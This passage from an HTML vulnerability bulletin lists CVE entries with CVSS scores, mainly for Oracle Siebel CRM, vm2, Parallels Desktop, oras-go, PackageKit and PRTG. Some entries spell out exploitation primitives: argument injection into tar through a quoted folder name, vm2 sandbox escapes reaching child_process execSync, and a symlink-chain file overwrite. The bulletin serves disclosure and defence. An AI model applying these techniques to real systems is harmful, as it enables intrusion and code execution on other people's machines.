&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83226&quot; target=&quot;_blank&quot;&gt;CVE-2026-83226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83228&quot; target=&quot;_blank&quot;&gt;CVE-2026-83228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Siebel Management Console). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83230&quot; target=&quot;_blank&quot;&gt;CVE-2026-83230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Development&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workspaces). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Development. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Development accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Development. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83181&quot; target=&quot;_blank&quot;&gt;CVE-2026-83181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Development&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83209&quot; target=&quot;_blank&quot;&gt;CVE-2026-83209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Development&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Configuration Tools). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via SQL to compromise Siebel CRM Development. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83182&quot; target=&quot;_blank&quot;&gt;CVE-2026-83182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Development&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Integration - Scripting). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Development as well as unauthorized update, insert or delete access to some of Siebel CRM Development accessible data and unauthorized read access to a subset of Siebel CRM Development accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83207&quot; target=&quot;_blank&quot;&gt;CVE-2026-83207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Open UI). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Siebel CRM End User. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83154&quot; target=&quot;_blank&quot;&gt;CVE-2026-83154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Open UI). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User. Successful attacks of this vulnerability can result in takeover of Siebel CRM End User. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83192&quot; target=&quot;_blank&quot;&gt;CVE-2026-83192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Open UI). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM End User accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM End User. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83203&quot; target=&quot;_blank&quot;&gt;CVE-2026-83203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Open UI). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM End User. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel CRM End User, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83146&quot; target=&quot;_blank&quot;&gt;CVE-2026-83146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Reports). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83213&quot; target=&quot;_blank&quot;&gt;CVE-2026-83213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM End User&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Open UI). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM End User. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83217&quot; target=&quot;_blank&quot;&gt;CVE-2026-83217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Integration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Event Publish and Subscribe). Supported versions that are affected are 23.6-26.7. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Integration executes to compromise Siebel CRM Integration. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Integration accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83220&quot; target=&quot;_blank&quot;&gt;CVE-2026-83220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Integration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Siebel CRM Integration. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83221&quot; target=&quot;_blank&quot;&gt;CVE-2026-83221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Integration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Integration. Successful attacks of this vulnerability can result in takeover of Siebel CRM Integration. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83227&quot; target=&quot;_blank&quot;&gt;CVE-2026-83227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Integration&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration). Supported versions that are affected are 25.12-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83326&quot; target=&quot;_blank&quot;&gt;CVE-2026-83326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;oras-project--oras-go&lt;/td&gt;
&lt;td&gt;oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85731&quot; target=&quot;_blank&quot;&gt;CVE-2026-85731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PackageKit--PackageKit&lt;/td&gt;
&lt;td&gt;A flaw was found in PackageKit. PackageKit skips the polkit authorization check for transactions carrying the SIMULATE (dry-run) flag. In the dnf5 backend, the RepoRemove handler ignores that contract and always executes the real transaction because its guard is written as (role == REPO_REMOVE || !SIMULATE), which is always true for RepoRemove. An unprivileged local user can therefore perform a genuine package uninstall while claiming to simulate. This vulnerability only affects systems using PackageKit with the dnf5 backend.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19816&quot; target=&quot;_blank&quot;&gt;CVE-2026-19816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;A directory traversal was identified in Paessler PRTG before 23.4.88.1429 that made it possible to read local files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-45858&quot; target=&quot;_blank&quot;&gt;CVE-2023-45858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paessler--PRTG Network Monitor&lt;/td&gt;
&lt;td&gt;A bodyclass XSS issue was discovered in Paessler PRTG before 23.3.86.1520.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-28148&quot; target=&quot;_blank&quot;&gt;CVE-2023-28148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parallax--filament-comments&lt;/td&gt;
&lt;td&gt;parallax filament-comments through 3.0.0 contains a stored cross-site scripting vulnerability in comment body rendering that allows authenticated panel users to inject malicious scripts. Attackers can store XSS payloads in comment bodies that execute in the browsers of other users viewing those comments, including administrators, enabling session token theft and unauthorized actions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90943&quot; target=&quot;_blank&quot;&gt;CVE-2026-90943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Parallels--Parallels Desktop for Mac&lt;/td&gt;
&lt;td&gt;Parallels Desktop runs&amp;nbsp;prl_disp_service&amp;nbsp;as root. Local clients reach it on the world-writable socket&amp;nbsp;/var/run/prl_disp_service.socket.&amp;nbsp;PrlSrv_LoginLocal&amp;nbsp;accepts peer credentials. No Parallels signature. No admin group. After login,&amp;nbsp;PrlSrv_InstallAppliance&amp;nbsp;lets you pick the appliance folder (sVmParentPath). The daemon unpacks with one string,&amp;nbsp;tar -xf &quot;%1&quot; -C &quot;%2&quot;, then Qt&amp;nbsp;QProcess::splitCommand&amp;nbsp;chops that string into words. A quote in the folder name closes early. The leftover text becomes extra tar flags. macOS&amp;nbsp;tar --use-compress-program=&amp;nbsp;runs the named program as root.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90894&quot; target=&quot;_blank&quot;&gt;CVE-2026-90894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parseablehq--parseable&lt;/td&gt;
&lt;td&gt;Parseable is a log analytics platform built for high-volume data ingestion and analysis. Prior to 3.0.0, src/handlers/http/middleware.rs uses unwrap() while parsing the x-amz-firehose-common-attributes header before authentication. A remote unauthenticated attacker can supply non-UTF-8 header data, malformed JSON, or invalid derived header values that trigger a Rust panic and interrupt request handling, allowing repeated requests to deny service or cause container restart loops. This issue is fixed in version 3.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-32641&quot; target=&quot;_blank&quot;&gt;CVE-2026-32641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 3.11.6 is vulnerable to a sandbox escape leading to remote code execution in the host Node.js process. The fix for GHSA-m283-3h24-438v is incomplete: the bridge gate at lib/bridge.js:1624 identity-checks only the direct call target when deciding whether to rebuild/sanitise a rejected host Promise value. Registering the rejection handler through Function.prototype.call or .apply indirection (e.g., p.then.call(p, undefined, cb)) makes the intercepted target host Function.prototype.call, so the sanitiser never runs and the raw host error reaches sandbox code with its own properties intact. If an embedder exposes a host-realm Promise to the sandbox (an async host function bridged via the sandbox option, or a NodeVM external module&#039;s async method) and that Promise rejects with an Error carrying a non-primitive own property referencing a host object (for example err.detail = process), untrusted code in the sandbox obtains a fully functional proxy to that host object and can execute arbitrary commands with the privileges of the host process (e.g., e.detail.mainModule.require(&#039;child_process&#039;).execSync(...)). The direct p.then(undefined, cb), bind, and Reflect.apply forms are correctly sanitised. Fixed in vm2 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92937&quot; target=&quot;_blank&quot;&gt;CVE-2026-92937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.11.3 through 3.11.6 expose the host process&#039;s real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require(&#039;https&#039;). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent&#039;s &#039;free&#039; event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host&#039;s Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92940&quot; target=&quot;_blank&quot;&gt;CVE-2026-92940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions from 3.11.3 before 3.11.7 expose the host tls module to NodeVM sandbox code, allowing attackers to call tls.setDefaultCACertificates() and replace process-wide certificate authorities. Attackers with access to allowed tls and url builtins can use URLSearchParams to create host-realm arrays and manipulate the TLS trust store, enabling subsequent host HTTPS clients to accept attacker-controlled certificates.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92941&quot; target=&quot;_blank&quot;&gt;CVE-2026-92941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2&#039;s own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92946&quot; target=&quot;_blank&quot;&gt;CVE-2026-92946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.7 exposes Node&#039;s shared Buffer pool to sandboxed code, allowing disclosure of host memory used by Buffer.from, Buffer.concat, and related allocations. Sandboxed code can read and write to host-realm buffers by acquiring ArrayBuffers from small allocations, leading to sensitive data exposure and potential denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92947&quot; target=&quot;_blank&quot;&gt;CVE-2026-92947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions from 3.11.0 before 3.11.8 fail to protect host TypedArray and ArrayBuffer prototypes from sandbox mutation. Attackers can use prototype-walking primitives to reach and modify host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype, causing host-created typed arrays to observe attacker-controlled properties after VM.run() returns.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92953&quot; target=&quot;_blank&quot;&gt;CVE-2026-92953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host __proto__ getter/setter through console._stdout and console._stderr. Attackers can overwrite EventEmitter.prototype.emit and trigger process events to execute code with process context, bypassing code generation restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92955&quot; target=&quot;_blank&quot;&gt;CVE-2026-92955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 versions 3.10.1 through 3.11.6 contain a sandbox escape reachable from a default `new VM()` sandbox when running on Node.js 26. WebAssembly.compileStreaming and WebAssembly.instantiateStreaming can produce a raw host-realm Promise that rejects with a host-realm error object; by controlling Symbol.species via Promise.prototype.finally, sandbox code receives that raw host error, walks from the host error constructor to the host Function constructor, and recovers the real host `process` object, gaining host Node.js capabilities (e.g. access to host modules such as fs) in the context of the process running the sandbox. No NodeVM, require permission, host object injection, or otherwise unsafe configuration is required. This is a bypass of the fix for GHSA-6j2x-vhqr-qr7q, which removed the JSPI entry points WebAssembly.promising and WebAssembly.Suspending. The issue is fixed in 3.11.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92956&quot; target=&quot;_blank&quot;&gt;CVE-2026-92956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
